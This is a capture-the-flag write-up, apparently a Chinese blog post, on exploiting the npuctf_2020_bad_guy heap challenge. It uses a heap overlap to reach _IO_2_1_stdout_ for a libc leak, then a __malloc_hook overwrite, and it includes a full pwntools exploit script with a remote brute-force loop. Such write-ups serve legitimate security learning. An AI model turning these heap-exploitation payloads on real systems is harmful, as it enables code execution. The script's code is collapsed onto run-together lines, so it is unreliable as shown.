IO_FILE(npuctf_2020_bad_guy)

2023-12-25 17:20
文章标签 2020 file io bad npuctf guy

本文主要是介绍IO_FILE(npuctf_2020_bad_guy),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

是一道入门IO_FILE的题目

保护:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EAnd0hbH-1648116914709)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165401820.png)

分析:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WcCvygiO-1648116914710)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165421263.png)

Add:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FHwG9g09-1648116914710)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165435013.png)

Edit:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kjPBNu3x-1648116914710)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165510081.png)

dele

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NFvKMZuh-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165523069.png)

思路

没有常见的off-by-null,和uaf,但是edit函数可以编辑任意大小的size,且最多malloc10次,edit4次

那么就可以利用堆重叠进行攻击

因为这题需要爆破,所以为了在本地便于调试所以关闭系统的地址随机化(不是永久的)
在这里插入图片描述

1.将chunk2放入到0x70fastbin,便于后面的修改fd指针指向__IO_2_1_stdout的上方处

    malloc(0,0x10)malloc(1,0x10)malloc(2,0x60)malloc(3,0x10)free(2)

2.造成堆重叠,即chunk2和chunk3进行重叠形成一个0x90的重叠chunk,再将它放入到unsortbin中

    payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91)edit(0,len(payload),payload)free(1)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3bp6jAOk-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316180625737.png)

3.通过malloc切割unsortbin中的大小使它指向0x555555605040

malloc(4,0x10)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-URKyvcxe-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316180829983.png)

这样就可以修改0x555555605040的最后2个字节为0x25dd(因为这个地方处于_IO_2_1_stdout的上方,刚好有个0x7f的位置,可以用作fakechunk,和通过fastattack进行写入到__malloc_hook一样的原理)

4.写入IO_FILE的flag值(这里不懂的可以先去学下利用IO_stdout泄漏libc!!很重要)

    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91)edit(0,len(payload),payload)malloc(5,0x60)payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)malloc(6,0x60,payload)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r6JWs3yu-1648116914712)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316181359267.png)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NdWcC29e-1648116914712)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316181432090.png)

完成对应的flag值和_IO_write_base,_IO_write_ptr,_IO_write_end等值的设置后控制台就会自动输出你缓存区中的信息,所以你在打_IO_FILE时最好是在unsortbin中构造一些数据,便于泄漏libc

最后就是简单的通过fastbin attack + __malloc_hook进行getshell了

补充:之前做题一直搞不懂ubuntu16.0.4使用的glibc的具体版本,所以就一直下载错了版本从而导致远程打不出来,比如你在glibc-all-in-one中的下载列表中有这些:

在这里插入图片描述

而实际上16.04使用的是2.23-0ubuntu11_amd64,如果你使用的是2.23-0ubuntu11.3_amd64或者2.23-0ubuntu3_amd64那你的one_gadget会有偏差从而导致远程打不出来。因为glibc-all-in-one使用的是清华源,所以2.23-0ubuntu11_amd64会出现找不到的情况,那么就需要将它的源换成国外的进行代理下载,当然自己手动下载也是可以的,不过记得下载debug包!!!(详细的步骤我博客中有)

完整EXP

#! /usr/bin/python
from pwn import *
#import syscontext.terminal = ['terminator', '-x', 'sh', '-c']
#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')binary = "./npuctf_2020_bad_guy"one = [0x45216,0x4526a,0xf02a4,0xf1147]  #2.23(64)
#idx = int(sys.argv[1])global p
local = 1
if local:p = process(binary)e = ELF(binary)libc = e.libc
else:p = remote("node4.buuoj.cn","29728")e = ELF(binary)libc = e.libc#libc = ELF('./libc_32.so.6')################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()def z(s='b main'):gdb.attach(p,s)def logs(mallocr,string='logs'):if(isinstance(mallocr,int)):print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr))else:print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))def pa(s='1'):log.success('pause : step---> '+str(s))pause()def info(data,key='info',bit=64):if(bit == 64):leak = u64(data.ljust(8, b'\0'))else:leak = u32(data.ljust(4, b'\0'))logs(leak,key)return leak################################ Function ############################################
def malloc(i,s,c = 'A'):sla('>> ','1')sla('Index :',str(i))sla('size:',str(s))sa('Content:',c)
def edit(i,s,c = 'A'):sla('>> ','2')sla('Index :',str(i))sla('size:',str(s))sa('content:',c)
def free(i):sla('>> ','3')sla('Index :',str(i))
################################### Statr ############################################
def pwn():malloc(0,0x10)malloc(1,0x10)malloc(2,0x60)malloc(3,0x10)free(2)payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91)edit(0,len(payload),payload)free(1)malloc(4,0x10)payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91)edit(0,len(payload),payload)malloc(5,0x60)payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)malloc(6,0x60,payload)pa()libc.address = info(ru('\x7f')[-6:]) - (0x7ffff7dd2600 - 0x7ffff7a0d000)malloc(7,0x60)free(7)payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) #* 3 + p64(0x91)edit(0,len(payload),payload)malloc(8,0x60)payload = 0x13 * p8(0) + p64(libc.offset_to_vaddr(one[3]))malloc(9,0x60,payload)sla('>> ','1')sla('Index :',str(10))sla('size:',str(10))p.interactive()
################################### End ##############################################
while 1:try:pwn()breakexcept KeyboardInterrupt:p.close()p = remote("node4.buuoj.cn","29728")#p = process(binary)except :p.close()#p = process(binary)p = remote("node4.buuoj.cn","29728")

成功截图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jppLFLrk-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316182030308.png)

这篇关于IO_FILE(npuctf_2020_bad_guy)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/536301

相关文章

SpringBoot排查和解决JSON解析错误(400 Bad Request)的方法

《SpringBoot排查和解决JSON解析错误(400BadRequest)的方法》在开发SpringBootRESTfulAPI时,客户端与服务端的数据交互通常使用JSON格式,然而,JSON... 目录问题背景1. 问题描述2. 错误分析解决方案1. 手动重新输入jsON2. 使用工具清理JSON3.

如何解决Druid线程池Cause:java.sql.SQLRecoverableException:IO错误:Socket read timed out的问题

《如何解决Druid线程池Cause:java.sql.SQLRecoverableException:IO错误:Socketreadtimedout的问题》:本文主要介绍解决Druid线程... 目录异常信息触发场景找到版本发布更新的说明从版本更新信息可以看到该默认逻辑已经去除总结异常信息触发场景复

IDEA下"File is read-only"可能原因分析及"找不到或无法加载主类"的问题

《IDEA下Fileisread-only可能原因分析及找不到或无法加载主类的问题》:本文主要介绍IDEA下Fileisread-only可能原因分析及找不到或无法加载主类的问题,具有很好的参... 目录1.File is read-only”可能原因2.“找不到或无法加载主类”问题的解决总结1.File

Python文件操作与IO流的使用方式

《Python文件操作与IO流的使用方式》:本文主要介绍Python文件操作与IO流的使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、python文件操作基础1. 打开文件2. 关闭文件二、文件读写操作1.www.chinasem.cn 读取文件2. 写

解决Maven项目idea找不到本地仓库jar包问题以及使用mvn install:install-file

《解决Maven项目idea找不到本地仓库jar包问题以及使用mvninstall:install-file》:本文主要介绍解决Maven项目idea找不到本地仓库jar包问题以及使用mvnin... 目录Maven项目idea找不到本地仓库jar包以及使用mvn install:install-file基

Java的IO模型、Netty原理解析

《Java的IO模型、Netty原理解析》Java的I/O是以流的方式进行数据输入输出的,Java的类库涉及很多领域的IO内容:标准的输入输出,文件的操作、网络上的数据传输流、字符串流、对象流等,这篇... 目录1.什么是IO2.同步与异步、阻塞与非阻塞3.三种IO模型BIO(blocking I/O)NI

在java中如何将inputStream对象转换为File对象(不生成本地文件)

《在java中如何将inputStream对象转换为File对象(不生成本地文件)》:本文主要介绍在java中如何将inputStream对象转换为File对象(不生成本地文件),具有很好的参考价... 目录需求说明问题解决总结需求说明在后端中通过POI生成Excel文件流,将输出流(outputStre

Java实现将byte[]转换为File对象

《Java实现将byte[]转换为File对象》这篇文章将通过一个简单的例子为大家演示Java如何实现byte[]转换为File对象,并将其上传到外部服务器,感兴趣的小伙伴可以跟随小编一起学习一下... 目录前言1. 问题背景2. 环境准备3. 实现步骤3.1 从 URL 获取图片字节数据3.2 将字节数组

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

VMWare报错“指定的文件不是虚拟磁盘“或“The file specified is not a virtual disk”问题

《VMWare报错“指定的文件不是虚拟磁盘“或“Thefilespecifiedisnotavirtualdisk”问题》文章描述了如何修复VMware虚拟机中出现的“指定的文件不是虚拟... 目录VMWare报错“指定的文件不是虚拟磁盘“或“The file specified is not a virt